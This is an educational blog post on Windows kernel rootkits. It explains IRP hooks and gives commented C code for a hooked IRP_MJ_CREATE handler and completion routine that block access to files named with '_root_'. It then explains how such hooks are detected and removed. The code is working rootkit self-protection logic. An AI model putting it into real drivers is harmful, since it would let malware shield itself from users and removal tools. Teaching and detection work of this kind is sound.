This is the second part of this series about Kernel Mode rootkits, I wanted to write on it and demonstrate how some rootkits (Ex: TDL4) do to hijack disk access by using IRP hooks.
To understand the basics of kernelmode, drivers, please refer to the first part. This post is about a classic trick, known for decades. Malware specialists may know this already, so this is mostly an introduction for whom willing to learn the theory of rootkits, and have a demonstration. Call that beginners if you want 🙂
IRP (I/O Request Packet)
An IRP is an object used to communicate between all the different layers of a driver stack.
Imagine that when you press a key on your keyboard the information isn’t sent directly to your screen to type the character. Between the time you pressed the key and the time it’s displayed on the screen, the information is passed through several drivers, each acting as an abstraction layer to simplify the information for the next level. It starts with an electrical information, and ends with a character. Then the applicative layer can interpret the character and send it down to the screen driver stack. The character is then transformed into a pixel with a color and a position.
For each driver, there are some major functions that receive IRPs to process (for example, the disk driver stack can receive a disk read request). These major functions are hold in a table of pointers.
Making of a hook in this table consist to replace the original pointer value of an entry (let’s take IRP_MJ_CREATE for the example) by the address of a function with the same prototype in any kernel mode loaded module. Usually, detouring an API is only made to filter the input parameters (and deny access if needed) and return the original pointer value at the end of the processing, to call the original function.
Any loaded module can then detour the execution flow of a major function to filter any attempt to access a particular file (in our example), and hide or deny access to it.
IRP hooks are used by malware to do multiple things, from keylogging to disk access filtering, …
Practical case: Deny access to a file
Imagine you’re a malware writer, and you need to protect your binary file. You don’t want anyone to be able to remove your malware so you protect the file. Disclaimer: This is not a tutorial to make a rootkit, but a practical case for educational purpose only. Anyway, this is covered for decades on other websites…
I’ll not show you how to hook the major function. I’ll just write the hooking filter function. We want to protect a file, so we will target the IRP_MJ_CREATE function, because it’s necessary to get a handle on a file before modify it. I haven’t told before, but as it’s kernel mode code, you’d need to code a driver.
NTSTATUS HookedMjCreate(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
PIO_STACK_LOCATION irpStack;
ULONG ioTransferType;
// Get a pointer to the current location in the IRP. This is where
// the function codes and parameters are located.
irpStack = IoGetCurrentIrpStackLocation(Irp);
switch (irpStack->MajorFunction)
{
case IRP_MJ_CREATE:
ioTransferType = irpStack->Parameters.DeviceIoControl.IoControlCode;
ioTransferType &= 3;
// Filter only files containing _root_
if (irpStack->FileObject != NULL && irpStack->FileObject->FileName.Length > 0 && wcsstr(irpStack->FileObject->FileName.Buffer, L"_root_") != NULL)
{
DbgPrint("[HOOK] File: %ws\n", irpStack->FileObject->FileName.Buffer);
// Need to know the method to find input buffer
if (ioTransferType == METHOD_BUFFERED)
{
// Call our completion routine if IRP succeeds.
// To do this, change the Control flags in the IRP.
irpStack->Control = 0;
irpStack->Control |= SL_INVOKE_ON_SUCCESS;
// Save old completion routine if present
irpStack->Context =(PIO_COMPLETION_ROUTINE) ExAllocatePool(NonPagedPool, sizeof(REQINFO));
((PREQINFO)irpStack->Context)-> OldCompletion = irpStack->CompletionRoutine;
// Setup our function to be called
// upon completion of the IRP
irpStack->CompletionRoutine = (PIO_COMPLETION_ROUTINE) IoCompletionRoutine;
}
}
break;
default:
break;
}
// Call the original function
return OldIrpMj(DeviceObject, Irp);
}
// The CompletionRoutine is called only if we found a file to deny access
NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context)
{
PVOID OutputBuffer;
DWORD NumOutputBuffers;
PIO_COMPLETION_ROUTINE p_compRoutine;
DWORD i;
OutputBuffer = Irp->UserBuffer;
p_compRoutine = ((PREQINFO)Context)->OldCompletion;
DbgPrint ("Completion routine reached! Deny access.\n");
ExFreePool(Context);
// We deny access by returning an ERROR code
Irp->IoStatus.Status = STATUS_NOT_FOUND;
// Call next completion routine (if any)
if ((Irp->StackCount > (ULONG)1) && (p_compRoutine != NULL))
return (p_compRoutine)(DeviceObject, Irp, NULL);
else
return Irp->IoStatus.Status;
}
The code is self explaining, fully commented.
If the filename contains the string « _root_ », we setup a completion routine for the current IRP. In the completion routine, we just modify the status returned with an error code.
This means each time we try to get a handle on a protected file, we have that error. No handle means no right for touching it (read, write, rename, …).
A demo of the rootkit is available here:
Detection/Removal
To detect such a hook, we need to load a driver that will scan the major functions table in the related driver and compare each pointer to the address range of driver’s module. If one is outside this range, it’s probably hooked by some module. Pretty easy to detect.
However, some other tips exist to hook the major functions, some rootkits do not change the address in the table but change the assembly instructions of the first bytes in the function itself to point to the hooking module. This is called Inline hook (not covered here).
To remove a IRP hook, you need to retrieve the true address of the major function (somewhere…) and replace the bad address in the table. That should remove the filter and let the rootkit unprotected. Pay attention, the restore action must be atomic (else we can have some BSoD).